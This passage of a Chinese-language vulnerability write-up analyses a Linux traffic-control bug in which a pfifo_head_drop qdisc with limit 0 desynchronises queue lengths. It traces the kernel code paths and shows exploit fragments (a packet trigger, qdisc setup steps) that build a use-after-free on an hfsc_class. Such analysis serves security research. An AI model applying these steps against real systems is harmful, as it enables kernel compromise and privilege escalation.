sch->limit = ctl->limit; // <--- 设置limit
if (is_bfifo)
bypass = sch->limit >= psched_mtu(qdisc_dev(sch));
else
bypass = sch->limit >= 1; // <--- 若设置为0, bypass == false
if (bypass)
sch->flags |= TCQ_F_CAN_BYPASS;
else
sch->flags &= ~TCQ_F_CAN_BYPASS; // <---
...
}
(4)删除Qdisc
调用链 :RTM_DELQDISC
-
SYSCALL_DEFINE4-sendto->__sys_sendto()->__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-netlink_sendmsg()->netlink_unicast()->netlink_unicast_kernel()->nlk->netlink_rcv-rtnetlink_rcv()->netlink_rcv_skb()->rtnetlink_rcv_msg()------ 前面和分配Qdisc调用链一样 -
link->doit-tc_get_qdisc()------根据family和nlmsghdr->nlmsg_type找到对应的rtnl_link对象,并调用rtnl_link->doit函数。 -
->
qdisc_graft()->hfsc_graft_class()->qdisc_create_dflt()&qdisc_replace()->qdisc_purge_queue()->qdisc_tree_reduce_backlog()
代码 :删除传入handle对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen。
c
static int tc_get_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
struct net *net = sock_net(skb->sk);
struct tcmsg *tcm = nlmsg_data(n);
struct nlattr *tca[TCA_MAX + 1];
struct net_device *dev;
u32 clid;
struct Qdisc *q = NULL;
struct Qdisc *p = NULL;
int err;
err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
rtm_tca_policy, extack);
...
dev = __dev_get_by_index(net, tcm->tcm_ifindex);
...
clid = tcm->tcm_parent;
if (clid) { // 找到对应 `tcm->tcm_handle` 的 Qdisc
if (clid != TC_H_ROOT) {
if (TC_H_MAJ(clid) != TC_H_MAJ(TC_H_INGRESS)) {
p = qdisc_lookup(dev, TC_H_MAJ(clid));
...
q = qdisc_leaf(p, clid); // 这里 p - Qdisc_A / q - Qdisc_C
} else if (dev_ingress_queue(dev)) {
q = rtnl_dereference(dev_ingress_queue(dev)->qdisc_sleeping);
}
} else { // 若parent为TC_H_ROOT,则直接取dev对应的首个Qdisc
q = rtnl_dereference(dev->qdisc);
}
...
if (tcm->tcm_handle && q->handle != tcm->tcm_handle) {
NL_SET_ERR_MSG(extack, "Invalid handle");
return -EINVAL;
}
} else {
q = qdisc_lookup(dev, tcm->tcm_handle);
...
}
if (tca[TCA_KIND] && nla_strcmp(tca[TCA_KIND], q->ops->id)) {
NL_SET_ERR_MSG(extack, "Invalid qdisc name");
return -EINVAL;
}
if (n->nlmsg_type == RTM_DELQDISC) {
...
err = qdisc_graft(dev, p, skb, n, clid, NULL, q, extack); // [1] <- qdisc_graft() 删除对应的 Qdisc - q
if (err != 0)
return err;
} else {
qdisc_notify(net, skb, n, clid, NULL, q, NULL);
}
return 0;
}
// [1]
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
struct Qdisc *new, struct Qdisc *old,
struct netlink_ext_ack *extack)
{
struct Qdisc *q = old;
struct net *net = dev_net(dev);
if (parent == NULL) {
...
} else {
const struct Qdisc_class_ops *cops = parent->ops->cl_ops; // 对应 struct Qdisc_class_ops hfsc_class_ops
unsigned long cl;
int err;
...
cl = cops->find(parent, classid); // 返回parent对应的class, hfsc_class, class_A
...
err = cops->graft(parent, cl, new, &old, extack); // [2] <- hfsc_graft_class
if (err)
return err;
notify_and_destroy(net, skb, n, classid, old, new, extack); // 释放old - Qdisc notify_and_destroy() -> qdisc_put() -> __qdisc_destroy() -> qdisc_free_cb() -> qdisc_free() -> kfree()
}
return 0;
}
static const struct Qdisc_class_ops hfsc_class_ops = {
.change = hfsc_change_class,
.delete = hfsc_delete_class,
.graft = hfsc_graft_class, // <---
.leaf = hfsc_class_leaf,
.qlen_notify = hfsc_qlen_notify,
.find = hfsc_search_class, // <---
.bind_tcf = hfsc_bind_tcf,
.unbind_tcf = hfsc_unbind_tcf,
.tcf_block = hfsc_tcf_block,
.dump = hfsc_dump_class,
.dump_stats = hfsc_dump_class_stats,
.walk = hfsc_walk
};
// [2] 删除 old 对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 `->q.qlen` 减去待删除的`Qdisc->q.qlen`
static int hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
struct Qdisc **old, struct netlink_ext_ack *extack)
{
struct hfsc_class *cl = (struct hfsc_class *)arg;
if (cl->level > 0)
return -EINVAL;
if (new == NULL) {
new = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, // [3-1] <- qdisc_create_dflt() 创建类型为 "pfifo_fast" 的 Qdisc
cl->cl_common.classid, NULL);
if (new == NULL)
new = &noop_qdisc;
}
*old = qdisc_replace(sch, new, &cl->qdisc); // [3-2] 用 new 替换 cl->qdisc
return 0;
}
// [3-1]
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
const struct Qdisc_ops *ops,
unsigned int parentid,
struct netlink_ext_ack *extack)
{
struct Qdisc *sch;
...
sch = qdisc_alloc(dev_queue, ops, extack);
...
sch->parent = parentid;
if (!ops->init || ops->init(sch, NULL, extack) == 0) {
trace_qdisc_create(ops, dev_queue->dev, parentid);
return sch;
}
qdisc_put(sch);
return NULL;
}
EXPORT_SYMBOL(qdisc_create_dflt);
// [3-2]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
struct Qdisc **pold)
{
struct Qdisc *old;
sch_tree_lock(sch);
old = *pold;
*pold = new;
if (old != NULL)
qdisc_purge_queue(old); // [4]
sch_tree_unlock(sch);
return old;
}
// [4]
static inline void qdisc_purge_queue(struct Qdisc *sch)
{
__u32 qlen, backlog;
qdisc_qstats_qlen_backlog(sch, &qlen, &backlog);
qdisc_reset(sch); // [4-1]
qdisc_tree_reduce_backlog(sch, qlen, backlog); // [4-2] 向上遍历parent Qdisc,依次将 parent Qdisc 的 ->q.qlen 减去待删除Qdisc的 ->q.qlen
}
// [4-1] qdisc_reset() ------ 清空待删除的Qdisc的sk_buff队列,->q.qlen 清零
void qdisc_reset(struct Qdisc *qdisc)
{
const struct Qdisc_ops *ops = qdisc->ops;
trace_qdisc_reset(qdisc);
if (ops->reset)
ops->reset(qdisc); // qdisc_reset_queue() - 主要是清空 sch->q->head (指向 sk_buff) sch->q.qlen=0
__skb_queue_purge(&qdisc->gso_skb);
__skb_queue_purge(&qdisc->skb_bad_txq);
qdisc->q.qlen = 0; // 重复操作?
qdisc->qstats.backlog = 0;
}
EXPORT_SYMBOL(qdisc_reset);
// [4-2]
void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
bool qdisc_is_offloaded = sch->flags & TCQ_F_OFFLOADED;
const struct Qdisc_class_ops *cops;
unsigned long cl;
u32 parentid;
bool notify;
int drops;
...
while ((parentid = sch->parent)) {
if (parentid == TC_H_ROOT)
break;
...
sch = qdisc_lookup_rcu(qdisc_dev(sch), TC_H_MAJ(parentid));
...
sch->q.qlen -= n; // <--- parent Qdisc 的 ->q.qlen 要减去待删除Qdisc的 ->q.qlen
sch->qstats.backlog -= len;
__qdisc_qstats_drop(sch, drops);
}
rcu_read_unlock();
}
EXPORT_SYMBOL(qdisc_tree_reduce_backlog);
(5)创建hfsc_class
调用链 :根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()
SYSCALL_DEFINE4-sendto->__sys_sendto()->__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-netlink_sendmsg()->netlink_unicast()->netlink_unicast_kernel()->nlk->netlink_rcv-rtnetlink_rcv()->netlink_rcv_skb()->rtnetlink_rcv_msg()------ 前面和分配Qdisc调用链一样link->doit-tc_ctl_tclass()->hfsc_change_class()(根据q->ops->cl_ops所属的class类型来确定)创建hfsc_class对象。修改class也是通过本函数。
代码 :除了创建一个hfsc_class,还会创建一个默认的 "pfifo" 类型的 Qdisc,存入hfsc_class->qdisc。
c
static int tc_ctl_tclass(struct sk_buff *skb, struct nlmsghdr *n,
struct netlink_ext_ack *extack)
{
struct net *net = sock_net(skb->sk);
struct tcmsg *tcm = nlmsg_data(n);
struct nlattr *tca[TCA_MAX + 1];
struct net_device *dev;
struct Qdisc *q = NULL;
const struct Qdisc_class_ops *cops;
unsigned long cl = 0;
unsigned long new_cl;
u32 portid;
u32 clid;
u32 qid;
int err;
err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
rtm_tca_policy, extack);
...
dev = __dev_get_by_index(net, tcm->tcm_ifindex);
...
portid = tcm->tcm_parent; // portid = 0xaaaa0000 - parent
clid = tcm->tcm_handle; // clid = 0xaaaaaaaa
qid = TC_H_MAJ(clid); // qid = 0xaaaa0000
if (portid != TC_H_ROOT) {
u32 qid1 = TC_H_MAJ(portid); // qid1 = 0xaaaa0000 - parent
...
if (portid)
portid = TC_H_MAKE(qid, portid); // portid = (qid & 0xffff0000) | (portid & 0xffff) = 0xaaaa0000
} else {
if (qid == 0)
qid = rtnl_dereference(dev->qdisc)->handle;
}
/* OK. Locate qdisc */
q = qdisc_lookup(dev, qid); // q - Qdisc_A
...
/* An check that it supports classes */
cops = q->ops->cl_ops; // cops - hfsc_class_ops
...
/* Now try to get class */
if (clid == 0) {
if (portid == TC_H_ROOT)
clid = qid;
} else
clid = TC_H_MAKE(qid, clid); // clid = 0xaaaaaaaa
if (clid)
cl = cops->find(q, clid); // cl = NULL 当前不存在 class_A
if (cl == 0) {
err = -ENOENT;
if (n->nlmsg_type != RTM_NEWTCLASS ||
!(n->nlmsg_flags & NLM_F_CREATE))
goto out;
} else {
switch (n->nlmsg_type) {
case RTM_NEWTCLASS:
err = -EEXIST;
if (n->nlmsg_flags & NLM_F_EXCL)
goto out;
break;
case RTM_DELTCLASS:
err = tclass_del_notify(net, cops, skb, n, q, cl, extack);
/* Unbind the class with flilters with 0 */
tc_bind_tclass(q, portid, clid, 0);
goto out;
case RTM_GETTCLASS:
err = tclass_notify(net, skb, n, q, cl, RTM_NEWTCLASS, extack);
goto out;
default:
err = -EINVAL;
goto out;
}
}
...
new_cl = cl; // new_cl = cl = NULL
err = -EOPNOTSUPP;
if (cops->change)
err = cops->change(q, clid, portid, tca, &new_cl, extack); // [1] <- hfsc_change_class() q - Qdisc_A / clid - 0xaaaaaaaa / portid - 0xaaaa0000 / new_cl - 0
if (err == 0) {
tclass_notify(net, skb, n, q, new_cl, RTM_NEWTCLASS, extack);
/* We just create a new class, need to do reverse binding. */
if (cl != new_cl)
tc_bind_tclass(q, portid, clid, new_cl); // [2] q - Qdisc_A / portid - 0xaaaa0000 / clid - 0xaaaaaaaa / new_cl - class_A
}
out:
return err;
}
// [1] hfsc_change_class() - 创建hfsc_class
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
struct nlattr **tca, unsigned long *arg,
struct netlink_ext_ack *extack)
{
struct hfsc_sched *q = qdisc_priv(sch);
struct hfsc_class *cl = (struct hfsc_class *)*arg; // cl = 0
struct hfsc_class *parent = NULL;
struct nlattr *opt = tca[TCA_OPTIONS];
struct nlattr *tb[TCA_HFSC_MAX + 1];
struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL;
u64 cur_time;
int err;
...
err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy,
NULL);
...
if (tb[TCA_HFSC_RSC]) {
rsc = nla_data(tb[TCA_HFSC_RSC]);
if (rsc->m1 == 0 && rsc->m2 == 0)
rsc = NULL;
}
if (tb[TCA_HFSC_FSC]) {
fsc = nla_data(tb[TCA_HFSC_FSC]);
if (fsc->m1 == 0 && fsc->m2 == 0)
fsc = NULL;
}
if (tb[TCA_HFSC_USC]) {
usc = nla_data(tb[TCA_HFSC_USC]);
if (usc->m1 == 0 && usc->m2 == 0)
usc = NULL;
}
if (cl != NULL) { // cl为NULL则创建class,cl不为NULL则修改现有class !!!!!
...
}
if (parentid == TC_H_ROOT) // parentid = 0xaaaa0000
return -EEXIST;
parent = &q->root; // parent - hfsc_class - 0xaaaa0000
if (parentid) {
parent = hfsc_find_class(parentid, sch); // 本exp中找到的还是同一个 hfsc_class
if (parent == NULL)
return -ENOENT;
}
if (classid == 0 || TC_H_MAJ(classid ^ sch->handle) != 0) // classid = 0xaaaaaaaa
return -EINVAL;
if (hfsc_find_class(classid, sch)) // 判断是否已存在
return -EEXIST;
if (rsc == NULL && fsc == NULL) // rsc 必须传入值 tc_service_curve
return -EINVAL;
cl = kzalloc(sizeof(struct hfsc_class), GFP_KERNEL); // 分配 hfsc_class
...
if (rsc != NULL)
hfsc_change_rsc(cl, rsc, 0);
if (fsc != NULL)
hfsc_change_fsc(cl, fsc);
if (usc != NULL)
hfsc_change_usc(cl, usc, 0);
cl->cl_common.classid = classid; // 初始化 hfsc_class
cl->sched = q;
cl->cl_parent = parent;
cl->qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, // classid = 0xaaaaaaaa
classid, NULL); // !!! 创建一个默认的 "pfifo" 类型的 Qdisc
if (cl->qdisc == NULL)
cl->qdisc = &noop_qdisc;
else
qdisc_hash_add(cl->qdisc, true);
...
if (parent->level == 0)
qdisc_purge_queue(parent->qdisc);
...
*arg = (unsigned long)cl; // 存放到 *arg,便于caller继续处理
return 0;
}
1-4. 结构关系
(1)网络接口到Qdisc
说明:qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。
关键函数: __dev_queue_xmit() -> netdev_core_pick_tx() -> netdev_get_tx_queue()
结构关系:
c
struct sk_buff *skb
struct net_device *dev = skb->dev;
struct netdev_queue *txq = dev->_tx[index];
struct Qdisc *q = txq->qdisc
(2)Qdisc
c
struct Qdisc {
int (*enqueue)(struct sk_buff *skb, // packet入队函数
struct Qdisc *sch,
struct sk_buff **to_free);
struct sk_buff * (*dequeue)(struct Qdisc *sch); // packet出队函数
unsigned int flags;
u32 limit;
const struct Qdisc_ops *ops; // 操作函数表
struct qdisc_size_table __rcu *stab;
struct hlist_node hash;
u32 handle; // 标识
u32 parent; // 父Qdisc
...
/* private data */
long privdata[] ____cacheline_aligned; // 指向 hfsc_sched 结构 (hfsc 类型)
};
(3)Qdisc到class
说明:class和filter都需要attach到qdisc上。
关键函数:hfsc_enqueue() -> hfsc_classify() -> hfsc_find_class() -> qdisc_class_find()
结构关系:
- 从Qdisc找到
hfsc_class:Qdisc->privdata->clhash->hash == hfsc_class->cl_common->hnode
(4)class
hfsc_sched
Qdisc->privdata指向hfsc_schedQdisc->privdata->eligible.rb_node指向红黑树 rb_tree 的根节点,以此根节点能够检索到每一个class。
c
struct hfsc_sched {
u16 defcls; /* default class id */
struct hfsc_class root; /* root class */ // root Qdisc 对应的 class
struct Qdisc_class_hash clhash; /* class hash */ // 可从Qdisc索引到class
struct rb_root eligible; /* eligible tree */ // 指向 rb_tree 中的根节点
struct qdisc_watchdog watchdog; /* watchdog timer */
};
struct rb_root {
struct rb_node *rb_node;
};
hfsc_class
hfsc_class->el_node- class中的当前节点,可以插入到rb_tree中,通常在packet入队(hfsc_enqueue()->update_ed())或者修改class属性(hfsc_change_class()->update_ed())时触发节点插入操作。
c
struct Qdisc_class_common {
u32 classid;
unsigned int filter_cnt;
struct hlist_node hnode;
};
struct hfsc_class {
struct Qdisc_class_common cl_common;
...
unsigned int level; /* class level in hierarchy */
struct hfsc_sched *sched; /* scheduler data */ // 和 Qdisc->privdata 相同
struct hfsc_class *cl_parent; /* parent class */ // 父 hfsc_class
struct list_head siblings; /* sibling classes */
struct list_head children; /* child classes */
struct Qdisc *qdisc; /* leaf qdisc */ // 下一个Qdisc
struct rb_node el_node; /* qdisc's eligible tree member */ // rb_tree中的当前节点,可以插入到rb_tree中
struct rb_root vt_tree; /* active children sorted by cl_vt */
...
u64 cl_d; /* deadline*/
u64 cl_e; /* eligible time */
u64 cl_vt; /* virtual time */
u64 cl_f; /* time when this class will fit for
link-sharing, max(myf, cfmin) */
...
struct internal_sc cl_rsc; /* internal real-time service curve */
struct internal_sc cl_fsc; /* internal fair service curve */
struct internal_sc cl_usc; /* internal upperlimit service curve */
...
};
2. 漏洞分析
2-1. 漏洞点
预期正常行为 :当我们达到调度器的packet个数限制时,pfifo_tail_enqueue()会丢弃调度器队列中的packet,并将调度器的qlen减1。然后,pfifo_tail_enqueue()会入队一个新的packet,并将调度器的qlen加1;最后,pfifo_tail_enqueue()会返回NET_XMIT_CN状态码,父Qdisc就不会增加qlen。
异常行为 :如果我们设置sch->limit == 0,并对一个没有packet的scheduler触发pfifo_tail_enqueue(),则不会执行丢包步骤,也即scheduler的qlen还是为0。接着,我们继续入队新的packet并将调度器的qlen加1。总的来说,我们可以利用pfifo_tail_enqueue()递增qlen并返回NET_XMIT_CN状态码,导致父Qdisc和子Qdisc的qlen个数不一致。
问题 :假设我们有两个qdiscs,Qdisc_A和Qdisc_B
Qdisc_A的type必须有->graft()函数来创建父/子关系。假设Qdisc_A的type为hfsc,向该qdisc入队packet会触发hfsc_enqueue();Qdisc_B的type是pfifo_head_drop,向该qdisc入队会触发pfifo_tail_enqueue();Qdisc_B设置为sch->limit == 0;Qdisc_A设置为,将入队的packet路由到Qdisc_B,Qdisc_A -> Qdisc_B;
通过Qdisc_A入队packet会导致:
hfsc_enqueue(Qdisc_A)->pfifo_tail_enqueue(Qdisc_B)Qdisc_B->q.qlen += 1;pfifo_tail_enqueue()返回NET_XMIT_CN;hfsc_enqueue()检查返回值是否为NET_XMIT_SUCCESS,但返回值为NET_XMIT_CN,因而hfsc_enqueue()不会增加Qdisc_A的qlen。
以上过程会导致**Qdisc_A->q.qlen == 0 且 Qdisc_B->q.qlen == 1 父子Qdisc的qlen值不同**。不用hfsc type,用其他type(例如drr)也会导致相同问题。原本预期应该是父亲的qlen等于儿子的qlen之和。
漏洞函数 pfifo_tail_enqueue():
c
// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int prev_backlog;
if (likely(sch->q.qlen < sch->limit)) // [1] 小于qdisc长度限制,则直接加入到队尾。
return qdisc_enqueue_tail(skb, sch); // 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 返回 NET_XMIT_SUCCESS
prev_backlog = sch->qstats.backlog;
/* queue full, remove one skb to fulfill the limit */
__qdisc_queue_drop_head(sch, &sch->q, to_free); // [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
qdisc_qstats_drop(sch); // sch->qstats->drops++
qdisc_enqueue_tail(skb, sch); // [3] 入队新的packet。加到 sch->q->tail 后面,sch->q->qlen 加1
qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
return NET_XMIT_CN; // 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
struct qdisc_skb_head *qh,
struct sk_buff **to_free)
{
struct sk_buff *skb = __qdisc_dequeue_head(qh); // [2-1] <---
if (likely(skb != NULL)) {
unsigned int len = qdisc_pkt_len(skb);
qdisc_qstats_backlog_dec(sch, skb);
__qdisc_drop(skb, to_free);
return len;
}
return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
struct sk_buff *skb = qh->head;
if (likely(skb != NULL)) { // 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
qh->head = skb->next;
qh->qlen--; // <- qlen--
if (qh->head == NULL)
qh->tail = NULL;
skb->next = NULL;
}
return skb;
}
重点注意:
- 每当
->enqueue()返回NET_XMIT_SUCCESS,都会调用->dequeue(); ->dequeue()会打破调度器操作步骤;- 如果
sch->q.qlen == 0,->dequeue()会提前返回; - 考虑以下出队流:
->dequeue(Qdisc_A)->->dequeue(Qdisc_B)->->dequeue(Qdisc_C)。只要某个Qdisc满足qlen == 0,就会导致返回NULL skb并提前返回,偏离出队过程。
2-2. 漏洞触发-enqueue
用户调用:用户通过绑定Qdisc的网卡向外发包来触发。
c
void trigger_qdisc_enqueue(int packet_socket, int ifindex)
{
u8 packet_data[128] = {};
send_packet_to_network_interface(packet_socket, ifindex, packet_data, sizeof(packet_data));
}
void send_packet_to_network_interface(int raw_packet_socket, int ifidx, void *data, size_t len)
{
struct msghdr msg = {};
struct sockaddr_ll saddr = { .sll_ifindex = ifidx };
msg.msg_name = &saddr;
msg.msg_namelen = sizeof(struct sockaddr_ll);
struct iovec iov = { .iov_base = data, .iov_len = len };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
Sendmsg(raw_packet_socket, &msg, 0); // sendmsg(socket, message, flags)
}
内核trace :第1个Qdisc类型为hfsc,所以enqueue入队处理函数是 hfsc_enqueue()(参见static struct Qdisc_ops hfsc_qdisc_ops对象定义),传给第2个Qdisc类型为pfifo_head_drop(漏洞Qdisc对象),对应enqueue入队函数是pfifo_tail_enqueue()(参见static struct pfifo_head_drop_qdisc_ops对象定义)
-
__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-packet_sendmsg()->packet_snd()->packet_xmit()->dev_queue_xmit()->__dev_queue_xmit()->__dev_xmit_skb()->dev_qdisc_enqueue() -
hfsc_enqueue()(第1个Qdisc -hfsc) ->pfifo_tail_enqueue()(第2个Qdisc -pfifo_head_drop)
c
static int
hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
{
unsigned int len = qdisc_pkt_len(skb);
struct hfsc_class *cl;
int err;
bool first;
cl = hfsc_classify(skb, sch, &err); // 找到对应的 hfsc_class
...
first = !cl->qdisc->q.qlen;
err = qdisc_enqueue(skb, cl->qdisc, to_free); // <--- sch->enqueue(skb, sch, to_free) 调用子 Qdisc 的 enqueue()
if (unlikely(err != NET_XMIT_SUCCESS)) {
if (net_xmit_drop_count(err)) { // !!! 漏洞点:若子 Qdisc 返回 NET_XMIT_CN, 则提前返回。qlen不会加1(默认子Qdisc丢了head包,加了尾部包,qlen不变,实际上子Qdisc的qlen进行了加1)
cl->qstats.drops++;
qdisc_qstats_drop(sch);
}
return err;
}
if (first) { // 若 Qdisc->q.qlen 为0则需初始化
if (cl->cl_flags & HFSC_RSC)
init_ed(cl, len);
if (cl->cl_flags & HFSC_FSC)
init_vf(cl, len);
/*
* If this is the first packet, isolate the head so an eventual
* head drop before the first dequeue operation has no chance
* to invalidate the deadline.
*/
if (cl->cl_flags & HFSC_RSC)
cl->qdisc->ops->peek(cl->qdisc);
}
sch->qstats.backlog += len;
sch->q.qlen++; // 正常处理1个packet, 则增加 sch->q.qlen
return NET_XMIT_SUCCESS;
}
// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
// 1.若满足长度限制,则正常加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_SUCCESS
// 2.若超出长度限制,则先丢弃头部packet (Qdisc->q->head), Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。
// 问题:若 Qdisc->limit == 0,则 Qdisc->q->qlen == 0, 则不会丢弃头部packet,也不会 Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。 只有 Qdisc->q->qlen 加1, 并返回 NET_XMIT_CN
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
struct sk_buff **to_free)
{
unsigned int prev_backlog;
if (likely(sch->q.qlen < sch->limit)) // [1] 小于qdisc长度限制,则直接加入到队尾。
return qdisc_enqueue_tail(skb, sch); // 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 返回 NET_XMIT_SUCCESS
prev_backlog = sch->qstats.backlog;
/* queue full, remove one skb to fulfill the limit */
__qdisc_queue_drop_head(sch, &sch->q, to_free); // [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
qdisc_qstats_drop(sch); // sch->qstats->drops++
qdisc_enqueue_tail(skb, sch); // [3] 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1
qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
return NET_XMIT_CN; // 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
struct qdisc_skb_head *qh,
struct sk_buff **to_free)
{
struct sk_buff *skb = __qdisc_dequeue_head(qh); // [2-1] <--- __qdisc_dequeue_head()
if (likely(skb != NULL)) {
unsigned int len = qdisc_pkt_len(skb);
qdisc_qstats_backlog_dec(sch, skb);
__qdisc_drop(skb, to_free);
return len;
}
return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
struct sk_buff *skb = qh->head;
if (likely(skb != NULL)) { // 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
qh->head = skb->next;
qh->qlen--; // <--- sch->q->qlen--
if (qh->head == NULL)
qh->tail = NULL;
skb->next = NULL;
}
return skb;
}
3. 构造UAF
构造UAF的两个关键函数:
- Function
prepare_uaf()[exploit.c#L968] - Function
trigger_uaf()[exploit.c#L1020]
先看看内核代码流:
- Flow1:
hfsc_enqueue()->init_ed()->eltree_insert() - Flow2:
hfsc_change_class()->update_ed()->eltree_update()->eltree_remove()&eltree_insert()
c
// Flow1
static void init_ed(struct hfsc_class *cl, unsigned int next_len)
{
/* Writeup note: Deleted code for clarity */
eltree_insert(cl); // <---
}
// eltree_insert() ------ 将`hfsc_class`对象插入到树中
static void eltree_insert(struct hfsc_class *cl)
{
struct rb_node **p = &cl->sched->eligible.rb_node;
struct rb_node *parent = NULL;
struct hfsc_class *cl1;
while (*p != NULL) {
parent = *p;
cl1 = rb_entry(parent, struct hfsc_class, el_node);
if (cl->cl_e >= cl1->cl_e)
p = &parent->rb_right;
else
p = &parent->rb_left;
}
rb_link_node(&cl->el_node, parent, p);
rb_insert_color(&cl->el_node, &cl->sched->eligible);
}
// Flow2
static inline void eltree_update(struct hfsc_class *cl)
{
eltree_remove(cl); // <---
eltree_insert(cl);
}
// eltree_remove() ------ 从树中移除`hfsc_class`对象
static inline void eltree_remove(struct hfsc_class *cl)
{
rb_erase(&cl->el_node, &cl->sched->eligible);
}
3-1. 总体思路
-
(1)假设我们有一个
hfsc_class对象,称为A; -
(2)代码流
Flow1总是位于Flow2之前,所以,先调用init_ed()将A插入到红黑树;然后是代码流Flow2,调用update_ed()来修改A,先将A从红黑树中移除,然后再次插入到树中。???代码流程,为什么先移除再插入 ------ 应该是更新了其属性值,再次插入rb_tree中会进行调整。 -
(3)利用逻辑漏洞使
Flow2发生在Flow1之前,也就是说,update_ed()在init_ed()之前被调用,最终触发代码流eltree_remove()->eltree_insert()->eltree_insert(),触发代码参见exp中prepare_uaf()。 -
第一次调用
eltree_insert():(A == cl)cA->el_node->__rb_parent_color == (0 | RB_BLACK); A->el_node->rb_right == NULL; A->el_node->rb_left == NULL; cl->sched->eligible.rb_node == &(A->el_node); -
第二次调用
eltree_insert():cA->el_node->__rb_parent_color == &(A->el_node); A->el_node->rb_right == NULL; A->el_node->rb_left == &(A->el_node); cl->sched->eligible.rb_node == &(A->el_node); -
现在,删除A后,
sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class-kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node/class_A->el_node),实现代码参见exp中trigger_uaf()。
3-2. prepare_uaf()
该函数有7个参数:
c
1. struct mnl_socket *route_socket : basically a netlink route socket.
2. int packet_socket : a packet socket created by `socket(AF_PACKET, SOCK_RAW, 0)`.
3. int ifindex : a dummy network interface index. This network interface must have mtu < IPV6_MIN_MTU
4. u32 qdisc_A_handle : handle for qdisc_A creation.
5. u32 qdisc_B_handle : handle for qdisc_B creation.
6. u32 qdisc_C_handle : handle for qdisc_C creation.
7. u32 classid_A : classid for an `hfsc_class` object.
(1)步骤1:创建 Qdisc_A [exploit.c#L979]
c
struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, &hfsc_qopt_A);
struct tc_hfsc_qopt {
__u16 defcls; /* default class */
};
- 第1步之后,有如下:
Qdisc_A(root qdisc / handle:qdisc_A_handle/ type:hfsc);- A root class (classid:
qdisc_A_handle, type:hfsc_class);在创建hfscqdisc的过程中,会调用hfsc_init_qdisc()函数来自动创建该class; - 由于我们将
defcls设置为0,可配置qdisc将packet路由到root class所链接的qdisc。
(2)步骤2:创建Qdisc_C [exploit.c#L989]
c
struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
create_pfifo_head_drop_qdisc(
route_socket,
ifindex,
qdisc_A_handle,
qdisc_C_handle,
&pfifo_head_drop_qopt_C
);
struct tc_fifo_qopt {
__u32 limit; /* Queue length: bytes for bfifo, packets for pfifo */
};
- 第2步之后,有如下:
Qdisc_C(parent: Qdisc_A / handle:qdisc_C_handle/ type:pfifo_head_drop);Qdisc_C设置为sch->limit == 0;Qdisc_C链接到Qdisc_A的 root class,由内核函数hfsc_graft_class()实现。
